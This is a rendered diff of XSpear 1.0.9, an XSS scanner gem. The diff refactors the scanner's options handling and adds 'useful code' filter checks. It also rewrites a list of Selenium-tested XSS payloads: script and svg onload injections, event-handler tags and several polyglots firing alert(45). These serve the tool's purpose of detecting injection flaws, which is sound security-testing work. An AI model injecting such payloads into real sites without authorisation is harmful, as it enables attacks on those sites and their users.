elsif n.include? ".xspear"
|
|
101
|
+
# uc
|
|
102
|
+
uc.push n.sub(".xspear","")
|
|
99
103
|
else
|
|
100
104
|
# sc
|
|
101
105
|
sc.push n.sub("XsPeaR","")
|
|
@@ -104,6 +108,7 @@ class XspearRepoter
|
|
|
104
108
|
puts " + Available Special Char: ".green+"#{sc.map(&:inspect).join(',').gsub('"',"")}".gsub(',',' ')
|
|
105
109
|
puts " + Available Event Handler: ".green+"#{eh.map(&:inspect).join(',')}"
|
|
106
110
|
puts " + Available HTML Tag: ".green+"#{tag.map(&:inspect).join(',')}"
|
|
111
|
+
puts " + Available Useful Code: ".green+"#{uc.map(&:inspect).join(',')}"
|
|
107
112
|
end
|
|
108
113
|
puts "< Raw Query >".yellow
|
|
109
114
|
@query.each_with_index do |q, i|
|
data/lib/XSpear/version.rb
CHANGED
data/lib/XSpear.rb
CHANGED
|
@@ -13,19 +13,19 @@ module XSpear
|
|
|
13
13
|
end
|
|
14
14
|
|
|
15
15
|
class XspearScan
|
|
16
|
-
def initialize(url,
|
|
16
|
+
def initialize(url, options)
|
|
17
17
|
@url = url
|
|
18
|
-
@data = data
|
|
19
|
-
@headers = headers
|
|
20
|
-
if params.nil?
|
|
21
|
-
@params = params
|
|
18
|
+
@data = options['data']
|
|
19
|
+
@headers = options['headers']
|
|
20
|
+
if options['params'].nil?
|
|
21
|
+
@params = options['params']
|
|
22
22
|
else
|
|
23
|
-
@params = params.split(",")
|
|
23
|
+
@params = options['params'].split(",")
|
|
24
24
|
end
|
|
25
|
-
@thread = thread
|
|
26
|
-
@output = output
|
|
27
|
-
@verbose = verbose
|
|
28
|
-
@blind_url = blind
|
|
25
|
+
@thread = options['thread']
|
|
26
|
+
@output = options['output']
|
|
27
|
+
@verbose = options['verbose']
|
|
28
|
+
@blind_url = options['blind']
|
|
29
29
|
@report = XspearRepoter.new @url, Time.now, (@data.nil? ? "GET" : "POST")
|
|
30
30
|
@filtered_objects = {}
|
|
31
31
|
end
|
|
@@ -379,6 +379,11 @@ class XspearScan
|
|
|
379
379
|
r.push makeQueryPattern('f', "\">xsp<#{tag}>", "xsp<#{tag}>", 'i', "not filtered "+"<#{tag}>".blue, CallbackNotAdded)
|
|
380
380
|
end
|
|
381
381
|
|
|
382
|
+
# Check useful code
|
|
383
|
+
useful_code.each do |c|
|
|
384
|
+
r.push makeQueryPattern('f', "#{c}.xspear", "#{c}.xspear", 'i', "not filtered "+"'#{c}' code".blue, CallbackNotAdded)
|
|
385
|
+
end
|
|
386
|
+
|
|
382
387
|
# Check Common XSS Payloads
|
|
383
388
|
onfocus_tags = [
|
|
384
389
|
"input",
|
|
@@ -401,20 +406,20 @@ class XspearScan
|
|
|
401
406
|
r.push makeQueryPattern('x', "\"'><#{t} autofocus onfocus=alert(45)>", "<#{t} autofocus onfocus=alert(45)>", 'h', "reflected "+"onfocus XSS Code".red, CallbackStringMatch)
|
|
402
407
|
end
|
|
403
408
|
|
|
404
|
-
# Check Selenium Payloads
|
|
405
|
-
r.push makeQueryPattern('x', '"><script>alert(45)</script>', '<script>alert(45)</script>', 'v', "triggered "+"<script>alert(45)</script>".red, CallbackXSSSelenium)
|
|
406
|
-
r.push makeQueryPattern('x', '"><svg onload=alert(
|
|
407
|
-
r.push makeQueryPattern('x', '<xmp><p title="</xmp><svg/onload=alert(45)>">', '<xmp><p title="</xmp><svg/onload=alert(45)>">', 'v', "triggered "+"<xmp><p title='</xmp><svg/onload=alert(45)>'>".red, CallbackXSSSelenium)
|
|
408
|
-
r.push makeQueryPattern('x', '\'"><svg/onload=alert(45)>', '\'"><svg/onload=alert(45)>', 'v', "triggered "+"<svg/onload=alert(45)>".red, CallbackXSSSelenium)
|
|
409
|
-
r.push makeQueryPattern('x', '"\'><video/poster/onerror=alert(45)>', '<video/poster/onerror=alert(45)>', 'h', "triggered "+"<video/poster/onerror=alert(45)>".red, CallbackXSSSelenium)
|
|
410
|
-
r.push makeQueryPattern('x', '"\'><details/open/ontoggle="alert(45)">', '<details/open/ontoggle="alert(45)">', 'h', "triggered "+"<details/open/ontoggle=\"alert(45)\">".red, CallbackXSSSelenium)
|
|
411
|
-
r.push makeQueryPattern('x', '"\'><audio src onloadstart=alert(45)>', '<audio src onloadstart=alert(45)>', 'h', "triggered "+"<audio src onloadstart=alert(45)>".red, CallbackXSSSelenium)
|
|
412
|
-
r.push makeQueryPattern('x', '"\'><marquee onstart=alert(45)>', '<marquee onstart=alert(45)>', 'h', "triggered "+"<marquee onstart=alert(45)>".red, CallbackXSSSelenium)
|
|
409
|
+
# Check Selenium Common XSS Payloads
|
|
410
|
+
r.push makeQueryPattern('x', '"><script>alert(45)</script>', '<script>alert(45)</script>', 'v', "triggered ".yellow+"<script>alert(45)</script>".red, CallbackXSSSelenium)
|
|
411
|
+
r.push makeQueryPattern('x', '"><svg onload = alert(45) >', '<svg(0x0c)onload=alert(1)>', 'v', "triggered ".yellow+"<svg(0x0c)onload=alert(1)>".red, CallbackXSSSelenium)
|
|
412
|
+
r.push makeQueryPattern('x', '<xmp><p title="</xmp><svg/onload=alert(45)>">', '<xmp><p title="</xmp><svg/onload=alert(45)>">', 'v', "triggered ".yellow+"<xmp><p title='</xmp><svg/onload=alert(45)>'>".red, CallbackXSSSelenium)
|
|
413
|
+
r.push makeQueryPattern('x', '\'"><svg/onload=alert(45)>', '\'"><svg/onload=alert(45)>', 'v', "triggered ".yellow+"<svg/onload=alert(45)>".red, CallbackXSSSelenium)
|
|
414
|
+
r.push makeQueryPattern('x', '"\'><video/poster/onerror=alert(45)>', '<video/poster/onerror=alert(45)>', 'h', "triggered ".yellow+"<video/poster/onerror=alert(45)>".red, CallbackXSSSelenium)
|
|
415
|
+
r.push makeQueryPattern('x', '"\'><details/open/ontoggle="alert(45)">', '<details/open/ontoggle="alert(45)">', 'h', "triggered ".yellow+"<details/open/ontoggle=\"alert(45)\">".red, CallbackXSSSelenium)
|
|
416
|
+
r.push makeQueryPattern('x', '"\'><audio src onloadstart=alert(45)>', '<audio src onloadstart=alert(45)>', 'h', "triggered ".yellow+"<audio src onloadstart=alert(45)>".red, CallbackXSSSelenium)
|
|
417
|
+
r.push makeQueryPattern('x', '"\'><marquee onstart=alert(45)>', '<marquee onstart=alert(45)>', 'h', "triggered ".yellow+"<marquee onstart=alert(45)>".red, CallbackXSSSelenium)
|
|
413
418
|
|
|
414
|
-
# Check Selenium Polyglot
|
|
415
|
-
r.push makeQueryPattern('x', 'jaVasCript:/*-/*`/*\`/*\'/*"/**/(/* */oNcliCk=alert(45) )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(45)//>\x3e', '\'"><svg/onload=alert(45)>', 'v', "triggered "+"XSS Polyglot payload".red, CallbackXSSSelenium)
|
|
416
|
-
r.push makeQueryPattern('x', 'javascript:"/*`/*\"/*\' /*</stYle/</titLe/</teXtarEa/</nOscript></Script></noembed></select></template><FRAME/onload=/**/alert(45)//--><<sVg/onload=alert`45`>', '\'"><svg/onload=alert(45)>', 'v', "triggered "+"XSS Polyglot payload".red, CallbackXSSSelenium)
|
|
417
|
-
r.push makeQueryPattern('x', 'javascript:"/*\'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert(45)//>', '\'"><svg/onload=alert(45)>', 'v', "triggered "+"XSS Polyglot payload".red, CallbackXSSSelenium)
|
|
419
|
+
# Check Selenium XSS Polyglot
|
|
420
|
+
r.push makeQueryPattern('x', 'jaVasCript:/*-/*`/*\`/*\'/*"/**/(/* */oNcliCk=alert(45) )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(45)//>\x3e', '\'"><svg/onload=alert(45)>', 'v', "triggered ".yellow+"XSS Polyglot payload".red, CallbackXSSSelenium)
|
|
421
|
+
r.push makeQueryPattern('x', 'javascript:"/*`/*\"/*\' /*</stYle/</titLe/</teXtarEa/</nOscript></Script></noembed></select></template><FRAME/onload=/**/alert(45)//--><<sVg/onload=alert`45`>', '\'"><svg/onload=alert(45)>', 'v', "triggered ".yellow+"XSS Polyglot payload".red, CallbackXSSSelenium)
|
|
422
|
+
r.push makeQueryPattern('x', 'javascript:"/*\'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert(45)//>', '\'"><svg/onload=alert(45)>', 'v', "triggered ".yellow+"XSS Polyglot payload".red, CallbackXSSSelenium)
|
|
418
423
|
|
|
419
424
|
|
|
420
425
|
# Check Blind XSS Payload
|
|
@@ -504,7 +509,7 @@ class XspearScan
|
|
|
504
509
|
end
|
|
505
510
|
end
|
|
506
511
|
rescue StandardError
|
|
507
|
-
|
|
512
|
+
# bypass
|
|
508
513
|
end
|
|
509
514
|
result
|
|
510
515
|
end
|
metadata
CHANGED
|
@@ -1,14 +1,14 @@
|
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
|
2
2
|
name: XSpear
|
|
3
3
|
version: !ruby/object:Gem::Version
|
|
4
|
-
version: 1.0.
|
|
4
|
+
version: 1.0.9
|
|
5
5
|
platform: ruby
|
|
6
6
|
authors:
|
|
7
7
|
- hahwul
|
|
8
8
|
autorequire:
|
|
9
9
|
bindir: exe
|
|
10
10
|
cert_chain: []
|
|
11
|
-
date: 2019-07-
|
|
11
|
+
date: 2019-07-25 00:00:00.000000000 Z
|
|
12
12
|
dependencies:
|
|
13
13
|
- !ruby/object:Gem::Dependency
|
|
14
14
|
name: colorize
|